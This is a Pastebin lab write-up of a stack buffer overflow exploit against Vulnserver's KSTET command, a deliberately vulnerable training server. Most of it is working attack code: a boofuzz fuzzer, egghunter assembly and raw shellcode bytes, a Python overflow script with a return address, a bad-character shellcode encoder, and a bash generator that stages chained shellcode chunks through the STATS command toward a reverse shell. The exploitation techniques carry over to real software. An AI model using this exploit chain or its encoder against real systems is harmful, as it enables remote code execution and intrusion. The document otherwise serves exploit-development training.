Advertisement
Guest User

Vulnserver KSTET

a guest
Jul 20th, 2018
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.44 KB | None | 0 0
  1. # Vulnserver: KSTET Command
  2.  
  3. In this exercise we will be exploring Vulnserver's `KSTET` command.
  4.  
  5. ## Fuzz
  6. We begin by using the same fuzzing script we've used previously:
  7. ```
  8. #!/usr/bin/env python
  9.  
  10. from boofuzz import *
  11.  
  12. def main():
  13. c = SocketConnection("192.168.186.135", 9999, proto='tcp')
  14. t = Target(connection = c)
  15. s = Session(target=t)
  16.  
  17. s_initialize(name="Request")
  18.  
  19. with s_block("UA-Line"):
  20. s_string("KSTET", fuzzable=False)
  21. s_delim(" ", fuzzable=False, name='space-4')
  22. s_string("test", name='kstet-value')
  23. s_static("\r\n", "Request-CRLF")
  24.  
  25. s.connect(s_get("Request"))
  26.  
  27. s.fuzz()
  28.  
  29. if __name__ == "__main__":
  30. main()
  31. ```
  32.  
  33. We note that Vulnserver almost immediately crashes; the fuzzer identifies the
  34. offending buffer as being 5,015 bytes long.
  35.  
  36. ## Crash
  37. After confirming the crash with our own buffer, we pass a pattern string of
  38. length 5,000. The response is curious: the pattern in `EIP` is found at
  39. offset 70. After further testing, we realize that we have a total of around
  40. 105 bytes to work with before our input is truncated. This is hardly enough
  41. space to do anything meaningful; the most compact Windows reverse shell is more
  42. than double that, and we'd still have to account for the jump over byte 70 as
  43. well as any character restrictions we identify.
  44.  
  45. Fortunately, the only characters we find we need to avoid are \x00 and \x0a.
  46.  
  47. ## Buffer
  48. Digging deeper, we find that we have enough room in our 70-byte buffer to
  49. execute an egghunter:
  50. ```
  51. [BITS 32]
  52. mov esp, ebp
  53. xor edx, edx
  54. or dx,0xfff
  55. inc edx
  56. push edx
  57. push byte +0x2
  58. pop eax
  59. int 0x2e
  60. cmp al,0x5
  61. pop edx
  62. jz 0x4
  63. mov eax,0x57303054
  64. mov edi,edx
  65. scasd
  66. jnz 0x5
  67. scasd
  68. jnz 0x5
  69. jmp edi
  70. ```
  71.  
  72. Here is a wrapper script to set the stack pointer, place the egghunter, and call
  73. `JMP ESP`:
  74. ```
  75. #!/usr/bin/env python
  76.  
  77. import sys
  78. import socket
  79.  
  80. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  81. s.connect(("192.168.186.135", 9999))
  82.  
  83. message = "KSTET "
  84. message += '\x90' * 8
  85.  
  86. buf = "\x50\x5c"
  87. buf += "\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58"
  88. buf += "\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x41\x30\x30\x57"
  89. buf += "\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
  90.  
  91. message += buf
  92. message += '\x42' * 26
  93. message += '\xaf\x11\x50\x62'
  94. message += '\xeb\xbc'
  95. message += "\n"
  96.  
  97. s.send(message)
  98. s.close()
  99. ```
  100.  
  101. Inserting an egg to find, though, is another matter.
  102.  
  103. ### STATS Command
  104. Branching out, we discover that the `STATS` command stores our output in
  105. memory. It itself does not appear to be vulnerable to a buffer overflow attack,
  106. but if we can use it to insert our egg and payload, we can then overflow
  107. `KSTET` to fire off an egghunter.
  108.  
  109. Complications quickly arise, however, when we realize that `STATS`, too, is
  110. truncated after just around 100 bytes. Thankfully, we are not limited in the
  111. number of times we can use `STATS` to insert segments into memory.
  112.  
  113. ### Splitting Shellcode
  114. We adapt the arithmetic encoder we've used previously to encode our shellcode
  115. and push it onto the stack. Since we were relatively unrestricted in our
  116. character set, we modify the encoder to push the naked bytes in reverse order,
  117. only resorting to carving the desired value out of a block of 0xFFFFFFFF when it
  118. contains one of our forbidden characters.
  119.  
  120. We also update the script to output shellcode instead of nasm, since it will
  121. make the next step less complicated.
  122. ```
  123. #!/usr/bin/env python
  124. import sys
  125.  
  126. a_int = sorted(list(set(range(1, 255)) - set(['\x0a'])))
  127.  
  128. def findCombo(dword, three=False):
  129. global a_int
  130.  
  131. group = "{:08x}".format(dword)
  132. if all([ (int(group[i:i+2], 16) in a_int) for i in range(0, len(group), 2) ]):
  133. return None
  134.  
  135. matches = []
  136. carry = 0
  137. for x in range(0, 4):
  138. byte = (dword - (carry)) % 256
  139.  
  140. found = False
  141. l = [(f1, f2) for f1 in a_int for f2 in a_int]
  142. if three:
  143. l = [(f1, f2, f3) for f1 in a_int for f2 in a_int for f3 in a_int]
  144.  
  145. for i in l:
  146. if not found and (sum(i) % 256) == byte and len(set(i) - set(a_int)) == 0:
  147. found = True
  148. carry = (sum(i) >= 0x100)
  149. matches.append(i)
  150. dword >>= 8
  151. return matches
  152.  
  153. def main():
  154. if len(sys.argv) != 2:
  155. return 1
  156.  
  157. args = ["{:02x}".format(ord(a)) for a in sys.argv[1][::-1]]
  158. chars = [args[i * 4:(i + 1) * 4] for i in range((len(args) + 4 - 1) // 4 )]
  159. chars = ["".join(c) for c in chars]
  160.  
  161. for group in chars:
  162. group += ('47' * (4 - (len(group)/2)))
  163. g = int(group, 16)
  164. ffg = int('ffffffff', 16) - g + 1
  165. ffg_h = "0x{:08x}".format(ffg)
  166.  
  167. c = findCombo(ffg)
  168. if c is None:
  169. hg = "{:08x}".format(g)
  170. print "68{0}".format("".join([ hg[i:i+2] for i in range(len(hg)-2, -1, -2)]))
  171.  
  172. else:
  173. f = ["".join(["{:02x}".format(j) for j in list(i)]) for i in zip(*c[::-1])]
  174. f_sum = "0x{:08x}".format(sum([int(i, 16) for i in f]) % (2**32))
  175. if (ffg_h != f_sum):
  176. c = findCombo(ffg, True)
  177. f = ["".join(["{:02x}".format(j) for j in list(i)]) for i in zip(*c[::-1])]
  178. f_sum = "0x{:08x}".format(sum([int(i, 16) for i in f]) % (2**32))
  179.  
  180. if(ffg_h != f_sum):
  181. print ("# {0} -> {1}".format(ffg_h, f_sum))
  182. clear = ["25{0}".format(i) for i in ("554e4d4a", "2a313235")]
  183. sub = ["2d{0}".format(j) for j in f]
  184. push = [ "50" ]
  185. print "".join(clear + sub + push)
  186.  
  187. return 0
  188.  
  189. if __name__ == "__main__":
  190. sys.exit(main())
  191. ```
  192.  
  193. Next, we write a quick script to split the encoded shellcode into 90-byte
  194. chunks. Each chunk will be prepended with an egg and followed up by an
  195. egghunter to look for the next section in the chain. Note that the encoder
  196. script prints one 'section' per line, where each section consists of either a
  197. `PUSH <DWORD>` or a `AND/AND/SUB/SUB/PUSH` sequence. By appending one of these
  198. at a time until we've met our 90-byte limit, we ensure that we don't split the
  199. chunks in the middle of an instruction. We output this chain of
  200. egghunter/shellcode pairs in the form of a python script:
  201. ```
  202. #!/bin/bash
  203.  
  204. FILE=./shell-raw
  205. CAVE_SIZE=96
  206. EGG_BASE="00W"
  207. EGG_SEQ=" ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  208.  
  209. echo "#!/usr/bin/env python"
  210. echo "import socket"
  211. echo "import time"
  212.  
  213. C_COUNT=1
  214. CAVE=""
  215. for L in $(./encode.py "$(cat ${FILE})")
  216. do
  217. NEW_C="${CAVE}${L}"
  218. if [ ${#NEW_C} -gt ${CAVE_SIZE} ]
  219. then
  220. EGG=$(echo -n "${EGG_SEQ:${C_COUNT}:1}${EGG_BASE}" | xxd -p)
  221. cat << EOF
  222. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  223. s.connect(("192.168.186.135", 9999))
  224.  
  225. message = "STATS "
  226. message += "/.:/ "
  227.  
  228. # Cave ${C_COUNT} (${EGG}):
  229. $(echo -n "${EGG}${EGG}${CAVE}" | hex)
  230.  
  231. buf += "\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58"
  232. buf += "\xcd\x2e\x3c\x05\x5a\x74\xef\xb8${EGG_SEQ:$((C_COUNT + 1)):1}\x30\x30\x57"
  233. buf += "\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
  234.  
  235. message += buf
  236. message += '\n'
  237. s.send(message)
  238. s.close()
  239. time.sleep(0.5)
  240. EOF
  241. CAVE="${L}"
  242. C_COUNT=$((C_COUNT + 1))
  243. else
  244. CAVE=${NEW_C}
  245. fi
  246. done
  247.  
  248. EGG=$(echo -n "${EGG_SEQ:${C_COUNT}:1}${EGG_BASE}" | xxd -p)
  249. cat << EOF
  250. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  251. s.connect(("192.168.186.135", 9999))
  252.  
  253. message = "STATS "
  254. message += "/.:/ "
  255.  
  256. # Cave ${C_COUNT} (${EGG}):
  257. $(echo -n "${EGG}${EGG}${CAVE}" | hex)
  258.  
  259. message += buf
  260. message += "\x68\x47\x47\x47\x47"
  261. message += "\x68\x47\x47\x47\x47"
  262. message += "\x68\x47\x47\x47\x47"
  263. message += "\x68\x47\x47\x47\x47"
  264. message += "\xff\xe4"
  265. message += '\n'
  266. s.send(message)
  267. s.close()
  268. EOF
  269. ```
  270.  
  271. It is necessary to call `time.sleep()` for a brief period between buffers to
  272. ensure that the prior connection is closed before the next link is submitted,
  273. lest we receive an error resulting in a missing link in our chain.
  274.  
  275. ### Execution
  276. When we execute the output of this script and follow it up with our `KSTET`
  277. exploit, we see that the program's execution is redirected to the first
  278. egghunter, which finds the egg `W00AW00A`, pushes a few lines of shellcode onto
  279. the stack, and kicks off an egghunter in search of `W00BW00B`, and so on.
  280. Finally, the last section pushes the tail of the shellcode onto the stack, pads
  281. it with 16 `NOP`s, and jumps to the top of the stack to execute the final stage
  282. of the payload.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement